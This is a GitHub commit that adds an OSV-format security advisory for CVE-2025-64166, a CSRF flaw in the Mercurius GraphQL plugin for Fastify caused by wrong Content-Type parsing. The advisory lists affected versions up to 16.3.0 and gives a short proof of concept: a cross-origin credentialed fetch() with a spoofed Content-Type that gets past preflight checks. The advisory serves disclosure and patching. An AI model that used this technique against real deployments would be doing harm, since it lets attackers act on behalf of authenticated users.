Skip to content

Commit cce864c

Browse files
1 parent e7250de commit cce864c

1 file changed

Lines changed: 68 additions & 0 deletions

File tree

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v66j-6wwf-jc57",
4+
"modified": "2026-03-05T18:18:01Z",
5+
"published": "2026-03-05T18:18:01Z",
6+
"aliases": [
7+
"CVE-2025-64166"
8+
],
9+
"summary": "Mercurius: Incorrect Content-Type parsing can lead to CSRF attack",
10+
"details": "### Summary\n\nA Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the `Content-Type` header in requests. Specifically, requests with `Content-Type` values such as `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain` could be misinterpreted as `application/json`. This misinterpretation bypasses the preflight checks performed by the `fetch()` API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.\n\n---\n\n### Impact\n\nAn attacker could exploit this vulnerability by crafting a malicious request with a `Content-Type` that Fastify incorrectly parses as `application/json`. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.\n\n---\n\n### Proof of Concept\n\n```javascript\n// Server-side Fastify setup\nconst Fastify = require('fastify');\nconst mercurius = require('mercurius');\n\nconst app = Fastify();\nconst schema = `\n type Query {\n hello(name: String): String\n }\n`;\n\nconst resolvers = {\n Query: {\n hello: (_, { name }) => `Hello ${name || 'World'}!`\n }\n};\n\napp.register(mercurius, { schema, resolvers });\n\napp.listen(3000, () => {\n console.log('Server listening on http://localhost:3000');\n});\n```\n\n```javascript\n// Malicious client-side code\nfetch('http://localhost:3000/graphql', {\n method: 'POST',\n body: JSON.stringify({ query: '{ hello(name: \"attacker\") }' }),\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded'\n },\n credentials: 'include'\n});\n```\n\nIn the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a `Content-Type` that Fastify incorrectly parses as `application/json`.\n\n---\n\n### Mitigation\n\nTo address this vulnerability, CSRF protection has been implemented.\n\n## References\n\n* https://github.com/mercurius-js/mercurius/pull/1187",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "mercurius"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "16.4.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 16.3.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/mercurius-js/mercurius/security/advisories/GHSA-v66j-6wwf-jc57"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/mercurius-js/mercurius/pull/1187"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/mercurius-js/mercurius/commit/962d402ec7a92342f4a1b7f5f04af01776838c3c"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/mercurius-js/mercurius"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-352"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-05T18:18:01Z",
66+
"nvd_published_at": null
67+
}
68+
}

0 commit comments

Comments
 (0)